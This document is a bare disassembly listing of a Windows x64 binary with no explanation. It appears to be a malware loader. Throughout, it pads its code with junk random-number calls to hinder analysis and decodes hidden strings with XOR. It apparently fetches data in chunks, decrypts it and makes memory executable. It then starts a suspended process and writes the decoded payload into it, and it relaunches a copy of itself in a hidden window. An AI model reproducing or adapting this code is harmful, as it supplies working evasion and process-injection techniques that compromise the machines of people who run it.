call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rdi]
add rdx, qword [rbp + 0xc60]
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 1
je 0x140003480
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rdi
mov r8d, dword [rbp + 0x3d0]
lea r9, [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x140003330
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x1400034c0
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xcc0]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xcd0]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xcd8]
call rsi
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x89
je 0x140003510
mov rcx, qword [rbp + 0xcc8]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdb
je 0x140003530
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x1b
je 0x140003550
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rsi
nop
push rax
pop rcx
call fcn.140001ed0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call rsi
nop
push rax
pop rcx
call fcn.140001b70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call rsi
push rax
pop rcx
nop
call fcn.1400017e0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x11
je 0x1400035a0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc8
je 0x1400035b0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4c
je 0x1400035d0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc3
je 0x1400035e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7d
je 0x140003600
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc6
je 0x140003620
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov r15d, 0x31
mov ecx, 0xcb
cmove ecx, r15d
mov r14d, 0xcb
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c260]
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb70], xmm0
movzx edx, byte [rbp + 0xb71]
mov byte [rax + 4], dl
mov r8d, ecx
xor r8b, 0xaa
mov byte [rax + 5], r8b
mov r8d, ecx
xor r8b, 0xaf
mov byte [rax + 6], r8b
mov byte [rax + 7], dl
xor cl, 0xb9
mov byte [rax + 8], cl
mov byte [rax + 9], 0
mov dword [rsp + 0x20], 0
sub ebx, ebx
push rax
nop
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xcb0]
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or edi, edi
cmove r14d, r15d
mov ecx, r14d
xor cl, 0xa3
mov byte [rax], cl
mov ecx, r14d
xor cl, 0xbf
mov byte [rax + 1], cl
mov byte [rax + 2], cl
movd xmm0, r14d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c270]
pxor xmm1, xmm0
pxor xmm2, xmm2
movdqa xmm3, xmm1
punpcklbw xmm3, xmm2
pshufhw xmm2, xmm3, 0x6c
pshufd xmm2, xmm2, 0x2e
pshuflw xmm2, xmm2, 0x73
pshufhw xmm2, xmm2, 7
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xec
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xa4
pshufhw xmm3, xmm3, 0x93
packuswb xmm3, xmm2
movdqu xmmword [rax + 3], xmm3
movdqa xmmword [rbp + 0xd00], xmm1
movzx ecx, byte [rbp + 0xd04]
mov byte [rax + 0x13], cl
movzx ecx, byte [rbp + 0xd00]
movzx edx, byte [rbp + 0xd02]
mov byte [rax + 0x14], dl
mov byte [rax + 0x15], cl
pxor xmm0, xmmword [0x14000c280]
movd dword [rax + 0x16], xmm0
movdqa xmmword [rbp + 0xb60], xmm0
movzx ecx, byte [rbp + 0xb60]
mov byte [rax + 0x1a], cl
mov ecx, r14d
xor cl, 0xaf
mov byte [rax + 0x1b], cl
movzx ecx, byte [rbp + 0xd05]
mov byte [rax + 0x1c], cl
mov ecx, r14d
xor cl, 0xa9
mov byte [rax + 0x1d], cl
mov ecx, r14d
xor cl, 0xa2
mov byte [rax + 0x1e], cl
xor r14b, 0xa5
mov byte [rax + 0x1f], r14b
mov byte [rax + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0xcb8]
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rdx, [rbp + 0x3d0]
lea r9, [rbp + 0xd2c]
nop
push rsi
pop rcx
mov r8d, 0x400
mov r15, qword [rbp + 0xca8]
call r15
or eax, eax
je 0x140003938
cmp dword [rbp + 0xd2c], 0
mov r12d, 0
je 0x140003940
xor r12d, r12d
lea rdi, [rbp + 0x3d0]
lea r14, [rbp + 0xd2c]
sub ebx, ebx
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0xd2c]
add edx, r12d
nop
push rbx
pop rcx
call sub.msvcrt.dll_realloc
push rax
nop
pop rbx
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x83
je 0x140003890
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x37
je 0x1400038a0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rax, r12d
push rbx
nop
pop rcx
add rcx, rax
mov r8d, dword [rbp + 0xd2c]
push rdi
pop rdx
nop
call sub.msvcrt.dll_memcpy
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x15
je 0x1400038e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa7
je 0x140003900
add r12d, dword [rbp + 0xd2c]
nop
push rsi
pop rcx
push rdi
pop rdx
nop
mov r8d, 0x400
mov r9, r14
call r15
or eax, eax
je 0x140003940
cmp dword [rbp + 0xd2c], 0
jne 0x140003850
jmp 0x140003940
xor r12d, r12d
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd5
je 0x140003940
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rsi, r12d
push rsi
nop
pop rcx
call sub.msvcrt.dll_malloc
mov r15, rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe9
je 0x140003970
call sub.msvcrt.dll_rand
test r12d, r12d
je 0x140003ad0
or eax, eax
mov ecx, 0x31
mov eax, 0xcb
cmove eax, ecx
sub ecx, ecx
cmp r12d, 8
jb 0x140003a5e
mov rdx, r15
sub rdx, rbx
cmp rdx, 0x20
jb 0x140003a5e
movzx edx, al
cmp r12d, 0x20
jae 0x1400039c2
sub ecx, ecx
jmp 0x140003a1a
push rsi
pop rcx
nop
and rcx, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
sub r8d, r8d
nop
movdqu xmm1, xmmword [rbx + r8]
movdqu xmm2, xmmword [rbx + r8 + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [r15 + r8], xmm1
movdqu xmmword [r15 + r8 + 0x10], xmm2
add r8, 0x20
cmp rcx, r8
jne 0x1400039e0
cmp rcx, rsi
je 0x140003ad0
test sil, 0x18
je 0x140003a5e
mov r8, rcx
push rsi
pop rcx
nop
and rcx, 0xfffffffffffffff8
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [rbx + r8]
pxor xmm1, xmm0
movq qword [r15 + r8], xmm1
add r8, 8
cmp rcx, r8
jne 0x140003a40
cmp rcx, rsi
je 0x140003ad0
push rcx
pop rdx
nop
not rdx
add rdx, rsi
mov r8, rsi
and r8, 3
je 0x140003a84
movzx r9d, byte [rbx + rcx]
xor r9b, al
mov byte [r15 + rcx], r9b
inc rcx
dec r8
jne 0x140003a70
cmp rdx, 3
jb 0x140003ad0
nop word [rax + rax]
movzx edx, byte [rbx + rcx]
xor dl, al
mov byte [r15 + rcx], dl
movzx edx, byte [rbx + rcx + 1]
xor dl, al
mov byte [r15 + rcx + 1], dl
movzx edx, byte [rbx + rcx + 2]
xor dl, al
mov byte [r15 + rcx + 2], dl
movzx edx, byte [rbx + rcx + 3]
xor dl, al
mov byte [r15 + rcx + 3], dl
add rcx, 4
cmp rsi, rcx
jne 0x140003a90
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x68
je 0x140003ad0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0xd28], 0
lea r9, [rbp + 0xd28]
mov rcx, r15
push rsi
pop rdx
nop
mov r8d, 0x40
call qword [rbp + 0xc98]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r12, qword [rbp + 0xc68]
call sub.msvcrt.dll_rand
cmp eax, 0x1e
je 0x140003b40
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xa40], xmm0
movdqa xmmword [rbp + 0xa30], xmm0
movdqa xmmword [rbp + 0xa20], xmm0
movdqa xmmword [rbp + 0xa10], xmm0
movdqa xmmword [rbp + 0xa00], xmm0
movdqa xmmword [rbp + 0x9f0], xmm0
mov qword [rbp + 0xa50], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x17
je 0x140003ba0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xd10], xmm0
mov qword [rbp + 0xd20], 0
call sub.msvcrt.dll_rand
cmp eax, 0x10
je 0x140003bd0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x1a
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
mov edx, ecx
xor dl, 0x88
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf1
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c290]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xc20], xmm0
movzx edx, byte [rbp + 0xc20]
movzx r8d, byte [rbp + 0xc25]
mov byte [rax + 2], dl
movq qword [rax + 3], xmm0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
mov edx, ecx
xor dl, 0xae
mov byte [rax + 0xd], dl
mov r9d, ecx
xor r9b, 0xb3
mov byte [rax + 0xe], r9b
mov r10d, ecx
xor r10b, 0xbb
mov byte [rax + 0xf], r10b
mov r10d, ecx
xor r10b, 0xa7
mov byte [rax + 0x10], r10b
mov byte [rax + 0x11], r8b
mov r8d, ecx
xor r8b, 0xb9
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], dl
mov byte [rax + 0x14], r8b
xor cl, 0xe5
mov byte [rax + 0x15], cl
mov byte [rax + 0x16], dl
mov byte [rax + 0x17], r9b
mov byte [rax + 0x18], dl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0xd10]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x9f0]
mov qword [rsp + 0x40], rcx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
push rax
nop
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call r12
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 9
je 0x140003ce0
mov rbx, qword [rbp + 0xd10]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xc7
je 0x140003d00
mov rdi, qword [rbp + 0xd18]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xd10]
call fcn.140001ed0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xfa
je 0x140003d40
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 2
je 0x140003d60
mov rcx, qword [rbp + 0xd10]
call fcn.140001b70
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x22
je 0x140003d80
mov rcx, qword [rbp + 0xd10]
call fcn.1400017e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rsp + 0x20], 0x40
push rbx
nop
pop rcx
sub edx, edx
mov r8, rsi
mov r9d, 0x1000
call qword [rbp + 0xc80]
mov r14, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140003df0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x9a
je 0x140003e00
mov qword [rsp + 0x20], 0
push rbx
nop
pop rcx
mov rdx, r14
mov r8, r15
mov r9, rsi
call qword [rbp + 0xc88]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
or eax, eax
je 0x140003e40
mov rcx, r14
push rdi
pop rdx
nop
sub r8d, r8d
call qword [rbp + 0xc90]
push rdi
nop
pop rcx
call qword [rbp + 0xca0]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0xcc
je 0x140003e80
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x14
je 0x140003eb0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8c
je 0x140003ec0
lea rdx, [rbp + 0x7d0]
sub ecx, ecx
mov r8d, 0x104
call qword [rbp + 0xc70]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xa6
je 0x140003ef0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xde
je 0x140003f00
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x12
je 0x140003f20
lea rdx, [rbp + 0x8e0]
mov ecx, 0x104
call qword [rbp + 0xc78]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5c
je 0x140003f50
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x21
je 0x140003f60
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x48
je 0x140003f70
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2a0]
movdqa xmmword [rbp + 0xc30], xmm0
movzx ecx, byte [rbp + 0xc34]
movzx r8d, byte [rbp + 0xc37]
mov byte [rax], cl
movq qword [rax + 1], xmm0
xor dl, 0xb3
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], 0
lea rsi, [rbp + 0x8e0]
push rsi
pop rcx
nop
nop
push rax
pop rdx
call sub.msvcrt.dll_strcat
lea rdx, [rbp + 0x7d0]
push rsi
nop
pop rcx
call sub.msvcrt.dll_strstr
or rax, rax
jne 0x1400042f5
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb9
je 0x140004020
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rcx, [rbp + 0x7d0]
lea rdx, [rbp + 0x8e0]
sub r8d, r8d
call qword [rbp + 0xce8]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
cmp eax, 0xd9
je 0x140004070
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x53
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xcb
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm1, xmm0, 0
pshufd xmm1, xmm1, 0
movdqa xmm2, xmmword [0x14000c2b0]
pxor xmm2, xmm1
movdqu xmmword [rax], xmm2
movdqa xmm2, xmmword [0x14000c2c0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x10], xmm2
movdqa xmm2, xmmword [0x14000c2d0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x20], xmm2
movdqa xmm2, xmmword [0x14000c2e0]
pxor xmm2, xmm1
movdqu xmmword [rax + 0x30], xmm2
pxor xmm1, xmmword [0x14000c2f0]
pxor xmm0, xmmword [0x14000c300]
movdqu xmmword [rax + 0x40], xmm1
movd ecx, xmm0
mov word [rax + 0x50], cx
mov byte [rax + 0x52], 0
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x8e0]
push rax
pop rdx
nop
call fcn.140004320
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf8
je 0x140004140
mov rsi, qword [rbp + 0xce0]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xdb
je 0x140004160
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xa60], xmm0
movdqa xmmword [rbp + 0xa70], xmm0
movdqa xmmword [rbp + 0xa80], xmm0
movdqa xmmword [rbp + 0xa90], xmm0
movdqa xmmword [rbp + 0xaa0], xmm0
movdqa xmmword [rbp + 0xab0], xmm0
mov qword [rbp + 0xac0], 0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x36
je 0x1400041d0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xc40], xmm0
mov qword [rbp + 0xc50], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0xa60], 0x68
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x95
je 0x140004230
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa60]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
lea rdx, [rbp - 0x30]
sub ecx, ecx
sub r8d, r8d
sub r9d, r9d
call r12
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0xc40]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x85
je 0x1400042e0
mov rcx, qword [rbp + 0xc48]
call rsi
sub eax, eax
movaps xmm6, xmmword [rbp + 0xd30]
add rsp, 0xdc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret